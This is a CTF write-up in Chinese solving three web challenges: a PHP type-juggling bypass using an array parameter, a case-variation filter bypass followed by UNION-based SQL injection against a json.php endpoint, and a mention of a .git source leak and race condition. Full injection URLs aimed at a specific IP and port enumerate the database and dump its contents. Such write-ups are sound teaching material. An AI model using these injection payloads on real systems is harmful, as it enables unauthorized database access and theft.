奇怪的恐龙特性

题目

大约在15亿年前，生活在地球上的恐龙中有一种很奇怪的恐龙，他们有一种奇怪的特性，那就是当在捕杀猎物的时候，如果猎物发出惊讶的表情的时候，他们也会发出惊讶的表情来告诉猎物“你们快要死了”，然而这种特性并没什么用处。。。因为我编不下去了。。以上这个故事是我瞎编的。。。

题目给了代码

```
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');

}
?>
```

首先第一个if判断，可以用`urlencode`绕过

然后我们需要知道php中的这样一个特性

```
php > var_dump([]>9999999999);
bool(true)
php > var_dump((string)[]>0);
bool(false)
```

在php中，数组`[]`大于任何一个数

这样就可以成功绕过验证了

这里有个坑，flag被注释了，需要查看源代码才能看得到flag

`flag={09bc24026c987ae44a6e424479b2e3}`

不能注册的admin

题目

你敢注册一个“admin”账户吗？敢吗？你试试？

查看源代码，在ajax请求中看到`json.php`，需要传入`id`参数

`id=admin`返回`{'id':'1','title':'admin'}`

尝试sql注入，但发现被检测到了，我们可以使用大小写绕过`json.phP`即可

使用`"`成功闭合，`--+`注释

使用`order by`语句，发现一共有三个列

然后及时常规的联合查询注入

查询库名

```
http://101.71.29.5:10006/json.phP?id=" union select 1,group_concat(schema_name),3 from information_schema.schemata--+
```

得到

`{'id':'1','title':'information_schema,5monthweb,mysql,performance_schema,test,web'}`

那么显然是在`5monthweb`库中，其实也就是当前库

查询表名

`http://101.71.29.5:10006/json.phP?id=" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+`

得到`{'id':'1','title':'article'}`

只有`article`一个表

查询列名

`http://101.71.29.5:10006/json.phP?id=" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='article'--+`

返回`{'id':'1','title':'id,title,content'}`

查询数据

猜测flag应该是在`content`列中

`http://101.71.29.5:10006/json.phP?id=" union select 1,group_concat(content),3 from article--+`

得到`{'id':'1','title':'flag{you_are_admin}'}`

一个hackerone的有趣的漏洞的复现的题目

题目

*ctf*打多了，现在咱们把*hackerone*的漏洞复现一下吧。小曾师傅花了好几天写了一套模拟*hackerone*上的漏洞的程序，恩阿。很有趣哦~这可是企业实实在在遇到的问题哦！不是脑洞大开题 请各位亲们谨慎思考

这题是个时间竞争，因为题目出现了问题，无法复现了

大概是有个`.git`源码泄露，可以读到所有源码

参考连

接:http://codeqi.top/2018/06/01/%E5%AE%89%E6%81%92%E6%9D%AF%E4%BA%94%E6%9C%88%E6%9C%88%E8%B5%9BWriteup/

https://www.lhaihai.wang/post/2018%E5%AE%89%E6%81%92%E4%BA%94%E6%9C%88%E6%9C%88%E8%B5%9Bwriteup/